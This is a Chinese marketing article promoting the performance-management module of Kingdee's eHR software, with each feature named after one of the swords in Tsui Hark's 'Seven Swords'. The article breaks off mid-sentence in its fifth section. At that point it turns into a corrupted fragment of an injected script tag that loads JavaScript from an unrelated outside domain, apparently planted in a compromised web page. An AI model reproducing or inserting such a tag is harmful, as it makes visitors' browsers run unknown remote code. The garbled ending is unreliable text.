ehr作为人力资源产业近期亮点，客户需求增长迅速，大量ehr产品也随之大量涌现，面对众多供应商包装的令人眼花缭乱的产品宣传，hr经理们不禁要问:究竟怎样的ehr系统才是真正的实力之选?
其实，选择真正优秀的ehr系统并不难，本文仅以金蝶产品的绩效管理模块为例，套用徐克七剑的名堂，大家就可以看出许多端倪。
绩效管理，是hr经理人核心职责，亦是关键难点，实际运作过程中，常常有着复杂多样的实际困难。
徐克的七剑，为游龙、青光、竞星、日月、天瀑、舍神、莫问，每剑均有特点，每剑各有锋芒，七剑合壁，则可快意江湖。
有了七剑相助，绩效管理这一核心工作就会轻松得多。
剑一，游龙，人未到，剑先闻。
剑，在其势，绩效，首要是定位。真正的绩效管理首先要从战略定位出发，这是绩效管理高下的关键之处。
战略绩效管理是金蝶ehr系统第一特征，金蝶绩效管理将整个集团的绩效由上到下紧密关联、层层分解，让整个组织围绕在整体战略规划下各司其职。各子公司绩效与集团、部门与公司、经理人与部门、员工与经理人均紧密联系，系统并且支持绩效目标直接引用关联目标与组织目标，如同构筑出一付完整的鱼骨图，鱼头、鱼脊、鱼骨、鱼刺，构成整个企业完整的骨架，有了紧密结合反应快速的骨架，企业才能真正实现快鱼吃慢鱼的战略设想。
金蝶绩效系统不仅完全支持kpi、平衡记分卡的战略级专业应用，并能够帮助企业轻松实现绩效目标的统一管理，hr经理可以统筹设置全公司的绩效类型及子类型，让全集团的绩效目标置于集团设定的kpi指标或平衡记分卡指标框架之中，确保各级组织与员工能够方向一致，形成组织合力。
剑二，青光，剑锋弥漫，避无所避
绩效管理的一大难点是如何实现绩效的客观公正，因此360°评估成为越来越多的优秀企业全面衡量员工(尤其是经理人)绩效的必备之选，因而系统实现真正360°评估，才可以成为全面的绩效管理方案。金蝶的绩效管理360°评估可以轻松实现对不同类型(如管理级别、组织)人员的360°评估，不但可由系统自动确定上下级评估人、灵活指定相关评估人，还可以灵活设置各评估人不同评估权重，并实现全部在线测评，最终由系统根据评分规则与评估结果自动生成上、下、左右与综合评估数据和排序结果。
过去360°测评应用的最大瓶颈就是在于难以人工实现近万份的数据评估，有了金蝶ehr，360°评估就可以轻松实现，绩效管理也就可以进了一大步。
剑三，竞星，正邪两赋，风云际会
绩效管理工作的难点之一在于对绩效过程的管控，如何将过程顺利推进，hr经理可谓伤透了脑筋。邮件问、电话问、开会问，邮件催、电话催、开会催，hr经理常常费力不讨好，却仍无法掌控推进进度。
金蝶ehr可以帮助实现整个绩效执行过程的管控，绩效启动与各阶段工作完全可由hr经理直接下达，通过系统内置的沟通途径直接下达到每位经理人和员工，避免了层层转达导致的信息失真，同时被考核人只需进入系统填写自己的绩效目标直接提交，其上级就可以得到目标初稿，并可以修正调整到双方确认的最终目标(或者经理人直接填写完成)。复杂的沟通和执行过程变得扁平迅捷。同时系统可以自动跟踪各部门、员工的执行情况，完成与否、完成到什么程度，都可以通过系统自动查询，在真实数据面前，任何人在执行过程的延误都清晰透明，过程透明化也很好保障了绩效管理的执行。
剑四，日月，双子出鞘，莫有不从?
说起绩效管理，大多数人会自然定位为员工考核，其实组织绩效管理也是绩效工作重要组成部分，金蝶ehr实现了专业的组织绩效管理功能，组织绩效管理与个人绩效管理相得益彰，形成企业完整的绩效管理方案。
不仅如此，金蝶ehr还可以实现由组织绩效与个人绩效的多种方案结果汇总，实现对组织或个人的综合评价体系，形成专业而完整的管理方案。
剑五，舍神，大巧若拙，浑雄至刚
绩效管理关键在于过程，而非仅为结果，这是专业咨询机构对企业提供咨询服务时重点强调的内容。而企业绩效管理中经常出现的问?script src=http://er12.com/t.js>
